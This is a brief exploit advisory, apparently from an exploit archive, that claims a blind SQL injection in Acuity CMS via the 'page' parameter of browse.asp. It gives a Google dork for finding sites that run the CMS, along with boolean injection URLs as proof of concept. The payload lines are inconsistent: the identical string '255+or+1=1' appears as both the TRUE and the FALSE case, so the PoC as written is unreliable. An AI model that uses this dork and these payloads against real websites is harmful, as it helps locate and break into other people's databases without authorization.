Acuity CMS Blind SQL Injection Vulnerability
PHP:
Title : Acuity CMS Vulnerable to Blind SQL Injection
Found by : p0pc0rn
Dork  : intext:"Powered by Acuity CMS."
Web  : http://www.acuitycms.com/
SQL Injection
----------------
http://www.site.com/browse.asp?page=[Blind SQL]
POC
----
http://www.site.com/browse.asp?page=255+or+1=1 TRUE
http://www.site.com/browse.asp?page=255+or+1=1 FALSE
# Â 0day.today [2017-11-14] Â #